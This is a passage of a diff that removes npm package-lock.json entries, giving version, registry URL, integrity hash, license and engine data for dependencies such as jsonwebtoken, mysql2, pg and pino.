"sha512-5ykVn/EXM1hF0XCaWh05VbYvEiOL2lY1kBxZtaYsyvjp7cmWOU1XsAdfQBwClraEofXDT197lFbXOEVMHpvQOg==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/has-symbols": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", - "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/has-tostringtag": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", - "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", - "license": "MIT", - "dependencies": { - "has-symbols": "^1.0.3" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/hasown": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", - "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==", - "license": "MIT", - "dependencies": { - "function-bind": "^1.1.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/http-errors": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz", - "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==", - "license": "MIT", - "dependencies": { - "depd": "~2.0.0", - "inherits": "~2.0.4", - "setprototypeof": "~1.2.0", - "statuses": "~2.0.2", - "toidentifier": "~1.0.1" - }, - "engines": { - "node": ">= 0.8" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/https-proxy-agent": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", - "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", - "license": "MIT", - "dependencies": { - "agent-base": "6", - "debug": "4" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/iconv-lite": { - "version": "0.7.3", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz", - "integrity": "sha512-IKXpvIzjnC9XTAUbVBcMfGS0EPaIXtW6v+zr+RRp+hqULEpo0owZax6wyRwPOJbWbzjYspQwusTsfVr0ifh4uQ==", - "license": "MIT", - "dependencies": { - "safer-buffer": ">= 2.1.2 < 3.0.0" - }, - "engines": { - "node": ">=0.10.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/ieee754": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", - "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "BSD-3-Clause" - }, - "node_modules/inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "license": "ISC" - }, - "node_modules/internmap": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz", - "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==", - "devOptional": true, - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/intl-messageformat": { - "version": "10.7.18", - "resolved": "https://registry.npmjs.org/intl-messageformat/-/intl-messageformat-10.7.18.tgz", - "integrity": "sha512-m3Ofv/X/tV8Y3tHXLohcuVuhWKo7BBq62cqY15etqmLxg2DZ34AGGgQDeR+SCta2+zICb1NX83af0GJmbQ1++g==", - "license": "BSD-3-Clause", - "dependencies": { - "@formatjs/ecma402-abstract": "2.3.6", - "@formatjs/fast-memoize": "2.2.7", - "@formatjs/icu-messageformat-parser": "2.11.4", - "tslib": "^2.8.0" - } - }, - "node_modules/ipaddr.js": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", - "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", - "license": "MIT", - "engines": { - "node": ">= 0.10" - } - }, - "node_modules/is-promise": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz", - "integrity": "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ==", - "license": "MIT" - }, - "node_modules/is-property": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-property/-/is-property-1.0.2.tgz", - "integrity": "sha512-Ks/IoX00TtClbGQr4TWXemAnktAQvYB7HzcCxDGqEZU6oCmb2INHuOoKxbtR+HFkmYWBKv/dOZtGRiAjDhj92g==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/is-retry-allowed": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-retry-allowed/-/is-retry-allowed-3.0.0.tgz", - "integrity": "sha512-9xH0xvoggby+u0uGF7cZXdrutWiBiaFG8ZT4YFPXL8NzkyAwX3AKGLeFQLvzDpM430+nDFBZ1LHkie/8ocL06A==", - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", - "devOptional": true, - "license": "ISC" - }, - "node_modules/jiti": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.7.0.tgz", - "integrity": "sha512-AC/7JofJvZGrrneWNaEnJeOLUx+JlGt7tNa0wZiRPT4MY1wmfKjt2+6O2p2uz2+skll8OZZmJMNqeke7kKbNgQ==", - "devOptional": true, - "license": "MIT", - "bin": { - "jiti": "lib/jiti-cli.mjs" - } - }, - "node_modules/json-schema-traverse": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", - "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/jsonwebtoken": { - "version": "9.0.3", - "resolved": "https://registry.npmjs.org/jsonwebtoken/-/jsonwebtoken-9.0.3.tgz", - "integrity": "sha512-MT/xP0CrubFRNLNKvxJ2BYfy53Zkm++5bX9dtuPbqAeQpTVe0MQTFhao8+Cp//EmJp244xt6Drw/GVEGCUj40g==", - "license": "MIT", - "dependencies": { - "jws": "^4.0.1", - "lodash.includes": "^4.3.0", - "lodash.isboolean": "^3.0.3", - "lodash.isinteger": "^4.0.4", - "lodash.isnumber": "^3.0.3", - "lodash.isplainobject": "^4.0.6", - "lodash.isstring": "^4.0.1", - "lodash.once": "^4.0.0", - "ms": "^2.1.1", - "semver": "^7.5.4" - }, - "engines": { - "node": ">=12", - "npm": ">=6" - } - }, - "node_modules/jwa": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.1.tgz", - "integrity": "sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg==", - "license": "MIT", - "dependencies": { - "buffer-equal-constant-time": "^1.0.1", - "ecdsa-sig-formatter": "1.0.11", - "safe-buffer": "^5.0.1" - } - }, - "node_modules/jws": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.1.tgz", - "integrity": "sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA==", - "license": "MIT", - "dependencies": { - "jwa": "^2.0.1", - "safe-buffer": "^5.0.1" - } - }, - "node_modules/lodash": { - "version": "4.18.1", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", - "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/lodash.includes": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz", - "integrity": "sha512-W3Bx6mdkRTGtlJISOvVD/lbqjTlPPUDTMnlXZFnVwi9NKJ6tiAk6LVdlhZMm17VZisqhKcgzpO5Wz91PCt5b0w==", - "license": "MIT" - }, - "node_modules/lodash.isboolean": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz", - "integrity": "sha512-Bz5mupy2SVbPHURB98VAcw+aHh4vRV5IPNhILUCsOzRmsTmSQ17jIuqopAentWoehktxGd9e/hbIXq980/1QJg==", - "license": "MIT" - }, - "node_modules/lodash.isinteger": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/lodash.isinteger/-/lodash.isinteger-4.0.4.tgz", - "integrity": "sha512-DBwtEWN2caHQ9/imiNeEA5ys1JoRtRfY3d7V9wkqtbycnAmTvRRmbHKDV4a0EYc678/dia0jrte4tjYwVBaZUA==", - "license": "MIT" - }, - "node_modules/lodash.isnumber": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz", - "integrity": "sha512-QYqzpfwO3/CWf3XP+Z+tkQsfaLL/EnUlXWVkIk5FUPc4sBdTehEqZONuyRt2P67PXAk+NXmTBcc97zw9t1FQrw==", - "license": "MIT" - }, - "node_modules/lodash.isplainobject": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", - "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==", - "license": "MIT" - }, - "node_modules/lodash.isstring": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz", - "integrity": "sha512-0wJxfxH1wgO3GrbuP+dTTk7op+6L41QCXbGINEmD+ny/G/eCqGzxyCsh7159S+mgDDcoarnBw6PC1PS5+wUGgw==", - "license": "MIT" - }, - "node_modules/lodash.once": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/lodash.once/-/lodash.once-4.1.1.tgz", - "integrity": "sha512-Sb487aTOCr9drQVL8pIxOzVhafOjZN9UU54hiN8PU3uAiSV7lx1yYNpbNmex2PK6dSJoNTSJUUswT651yww3Mg==", - "license": "MIT" - }, - "node_modules/long": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/long/-/long-5.3.2.tgz", - "integrity": "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==", - "devOptional": true, - "license": "Apache-2.0" - }, - "node_modules/lru.min": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/lru.min/-/lru.min-1.1.5.tgz", - "integrity": "sha512-5J9ysMYUpYIg9RF2vJpy9SinEmSviFSe0GyPpCQ4L5QSkLAgeLXlTAOu2ZwWUU5m+0SBl6gUU1R1ZQB3aKypfA==", - "devOptional": true, - "license": "MIT", - "engines": { - "bun": ">=1.0.0", - "deno": ">=1.30.0", - "node": ">=8.0.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wellwelwel" - } - }, - "node_modules/magic-string": { - "version": "0.30.21", - "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", - "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/sourcemap-codec": "^1.5.5" - } - }, - "node_modules/math-intrinsics": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", - "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/media-typer": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.1.tgz", - "integrity": "sha512-yz3xRaG20c6/BOzvYoDaGtPmGscs7YivItZEEqe6GbwNfHuxu9YNmvnEkMzKldAGY4/80pRcQRZSEnhquk9XuQ==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/merge-descriptors": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz", - "integrity": "sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/methods": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", - "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/mime": { - "version": "2.6.0", - "resolved": "https://registry.npmjs.org/mime/-/mime-2.6.0.tgz", - "integrity": "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg==", - "dev": true, - "license": "MIT", - "bin": { - "mime": "cli.js" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/mime-db": { - "version": "1.54.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", - "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/mime-types": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", - "integrity": "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==", - "license": "MIT", - "dependencies": { - "mime-db": "^1.54.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - "license": "MIT" - }, - "node_modules/mysql2": { - "version": "3.24.4", - "resolved": "https://registry.npmjs.org/mysql2/-/mysql2-3.24.4.tgz", - "integrity": "sha512-A2olluVlj0mvgyIRRISMEzXc51m+21mRtcMVjJyIpt2GG98+XrC9m9HzsqcMsX2LcnfccJvY5NB22g8fENBnOA==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "aws-ssl-profiles": "^1.1.2", - "generate-function": "^2.3.1", - "iconv-lite": "^0.7.3", - "long": "^5.3.2", - "lru.min": "^1.1.4", - "named-placeholders": "^1.1.6", - "sql-escaper": "^1.5.1" - }, - "engines": { - "node": ">= 8.0" - }, - "peerDependencies": { - "@types/node": ">= 8" - } - }, - "node_modules/named-placeholders": { - "version": "1.1.6", - "resolved": "https://registry.npmjs.org/named-placeholders/-/named-placeholders-1.1.6.tgz", - "integrity": "sha512-Tz09sEL2EEuv5fFowm419c1+a/jSMiBjI9gHxVLrVdbUkkNUUfjsVYs9pVZu5oCon/kmRh9TfLEObFtkVxmY0w==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "lru.min": "^1.1.0" - }, - "engines": { - "node": ">=8.0.0" - } - }, - "node_modules/nanoid": { - "version": "3.3.19", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.19.tgz", - "integrity": "sha512-Y2tUNy4ouw6tq5oDSKeQYGOyhkUBhNOcGV/02KC+6kd9eDGqdZd++mjMiIDilrBYvjEnCYvVtsuHCuP+okSfug==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "bin": { - "nanoid": "bin/nanoid.cjs" - }, - "engines": { - "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" - } - }, - "node_modules/negotiator": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.1.0.tgz", - "integrity": "sha512-NMPBRMJgiQHjbd8phG3Vebdx4kZ1H121rbl5IkMqeOsahptB9BKo/d7oJ3zTXqTgagn2bWlNSXkh0QUGM31RYg==", - "license": "MIT", - "dependencies": { - "content-type": "^2.1.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/negotiator/node_modules/content-type": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.1.0.tgz", - "integrity": "sha512-mj7UPXE0jaqaOsukNZRUEfEi2AcL7C/vwmwcHV0O97eO1E1pxBZuyjlZrx5seTaNBg1U6+o35wpa35Qfcc+7ag==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/object-assign": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", - "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/object-inspect": { - "version": "1.13.4", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", - "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/obug": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/obug/-/obug-2.2.1.tgz", - "integrity": "sha512-XrsrhT5sybtKI6wakr2SPOlGZWWYbUXZ7a0jT8/QOeAPau+1X/bSegNe5YR75oJmEZQbKningirmGOEJCIk61Q==", - "dev": true, - "funding": [ - "https://github.com/sponsors/sxzz", - "https://opencollective.com/debug" - ], - "license": "MIT", - "engines": { - "node": ">=12.20.0" - } - }, - "node_modules/ohash": { - "version": "2.0.12", - "resolved": "https://registry.npmjs.org/ohash/-/ohash-2.0.12.tgz", - "integrity": "sha512-65S/5gk9YSsaRjcyf7Nfa6h/d3E8/1gslpXfI4W7Dxn/oap8IKRuNT5VXkLQ1YFKIEg4apRY4Pj6aiwFzrDdmw==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/on-exit-leak-free": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/on-exit-leak-free/-/on-exit-leak-free-2.1.2.tgz", - "integrity": "sha512-0eJJY6hXLGf1udHwfNftBqH+g73EU4B504nZeKpz1sYRKafAghwxEJunB2O7rDZkL4PGfsMVnTXZ2EjibbqcsA==", - "license": "MIT", - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/on-finished": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", - "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", - "license": "MIT", - "dependencies": { - "ee-first": "1.1.1" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/once": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", - "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", - "license": "ISC", - "dependencies": { - "wrappy": "1" - } - }, - "node_modules/parseurl": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", - "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/path-key": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", - "devOptional": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/path-to-regexp": { - "version": "8.4.2", - "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.4.2.tgz", - "integrity": "sha512-qRcuIdP69NPm4qbACK+aDogI5CBDMi1jKe0ry5rSQJz8JVLsC7jV8XpiJjGRLLol3N+R5ihGYcrPLTno6pAdBA==", - "license": "MIT", - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/pathe": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", - "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/perfect-debounce": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/perfect-debounce/-/perfect-debounce-2.1.0.tgz", - "integrity": "sha512-LjgdTytVFXeUgtHZr9WYViYSM/g8MkcTPYDlPa3cDqMirHjKiSZPYd6DoL7pK8AJQr+uWkQvCjHNdiMqsrJs+g==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/pg": { - "version": "8.23.1", - "resolved": "https://registry.npmjs.org/pg/-/pg-8.23.1.tgz", - "integrity": "sha512-aL96AHANtWjPLDOLqnhx+ngp9+UK7ETEU8VJrDCGvsSSi/mGLcWYsS6Herg7lmaBJe4uwrfqsa7gTEFaSizDoQ==", - "license": "MIT", - "dependencies": { - "pg-connection-string": "^2.14.1", - "pg-pool": "^3.14.0", - "pg-protocol": "^1.16.1", - "pg-types": "2.2.0", - "pgpass": "1.0.5" - }, - "engines": { - "node": ">= 16.0.0" - }, - "optionalDependencies": { - "pg-cloudflare": "^1.4.1" - }, - "peerDependencies": { - "pg-native": ">=3.0.1" - }, - "peerDependenciesMeta": { - "pg-native": { - "optional": true - } - } - }, - "node_modules/pg-cloudflare": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/pg-cloudflare/-/pg-cloudflare-1.4.1.tgz", - "integrity": "sha512-6PQbsFWZcp9EmJEwy5cGQ2La+AMWpP46lgbb8X+U/XsHIUweYDNCpeuKck5RxL2MdVFi7krbbEi5nX4Zh7JhrQ==", - "license": "MIT", - "optional": true - }, - "node_modules/pg-connection-string": { - "version": "2.14.1", - "resolved": "https://registry.npmjs.org/pg-connection-string/-/pg-connection-string-2.14.1.tgz", - "integrity": "sha512-qR3kGNPBLpCNtz0evbKA0Y/MRFXwSSdT+pTJvYp/bXTcReZbvX1kzF0IyTc1QnxqF7AZbOeBhNL8R5mYQZV/MA==", - "license": "MIT" - }, - "node_modules/pg-int8": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/pg-int8/-/pg-int8-1.0.1.tgz", - "integrity": "sha512-WCtabS6t3c8SkpDBUlb1kjOs7l66xsGdKpIPZsg4wR+B3+u9UAum2odSsF9tnvxg80h4ZxLWMy4pRjOsFIqQpw==", - "license": "ISC", - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/pg-pool": { - "version": "3.14.0", - "resolved": "https://registry.npmjs.org/pg-pool/-/pg-pool-3.14.0.tgz", - "integrity": "sha512-gKtPkFdQPU3DksooVLi9LsjZxrsBUZIpa+7aVx+LV5pNh0KzP4Zleud2po+ConrxbuXGBJ6Hfer6hdgpIBpBaw==", - "license": "MIT", - "peerDependencies": { - "pg": ">=8.0" - } - }, - "node_modules/pg-protocol": { - "version": "1.16.1", - "resolved": "https://registry.npmjs.org/pg-protocol/-/pg-protocol-1.16.1.tgz", - "integrity": "sha512-p9VOFMiHB/ZbJATetbg+99PxssTVSQRnyuPSQ67mN1+1KBOjZaZ83ZQzltnxPhJwSsC3nwVjJ10DVJlerbFzLg==", - "license": "MIT" - }, - "node_modules/pg-types": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/pg-types/-/pg-types-2.2.0.tgz", - "integrity": "sha512-qTAAlrEsl8s4OiEQY69wDvcMIdQN6wdz5ojQiOy6YRMuynxenON0O5oCpJI6lshc6scgAY8qvJ2On/p+CXY0GA==", - "license": "MIT", - "dependencies": { - "pg-int8": "1.0.1", - "postgres-array": "~2.0.0", - "postgres-bytea": "~1.0.0", - "postgres-date": "~1.0.4", - "postgres-interval": "^1.1.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/pgpass": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/pgpass/-/pgpass-1.0.5.tgz", - "integrity": "sha512-FdW9r/jQZhSeohs1Z3sI1yxFQNFvMcnmfuj4WBMUTxOrAyLMaTcE1aAMBiTlbMNaXvBCQuVi0R7hd8udDSP7ug==", - "license": "MIT", - "dependencies": { - "split2": "^4.1.0" - } - }, - "node_modules/picocolors": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", - "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", - "dev": true, - "license": "ISC" - }, - "node_modules/picomatch": { - "version": "4.0.7", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.7.tgz", - "integrity": "sha512-qcJu88Q2IWqJsDD529JKMdwGm/dvInW4HvQnRwiH9JtihJvzGOscDtHE3x1pBKeUOTysQ8kVmLnJ2kJu7yhcGA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/pino": { - "version": "9.14.0", - "resolved": "https://registry.npmjs.org/pino/-/pino-9.14.0.tgz", - "integrity": "sha512-8OEwKp5juEvb/MjpIc4hjqfgCNysrS94RIOMXYvpYCdm/jglrKEiAYmiumbmGhCvs+IcInsphYDFwqrjr7398w==", - "license": "MIT", - "dependencies": { - "@pinojs/redact": "^0.4.0", - "atomic-sleep": "^1.0.0", - "on-exit-leak-free": "^2.1.0", - "pino-abstract-transport": "^2.0.0", - "pino-std-serializers": "^7.0.0", - "process-warning": "^5.0.0", - "quick-format-unescaped": "^4.0.3", - "real-require": "^0.2.0", - "safe-stable-stringify": "^2.3.1", - "sonic-boom": "^4.0.1", - "thread-stream": "^3.0.0" - }, - "bin": { - "pino": "bin.js" - } - }, - "node_modules/pino-abstract-transport": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/pino-abstract-transport/-/pino-abstract-transport-2.0.0.tgz", - "integrity": 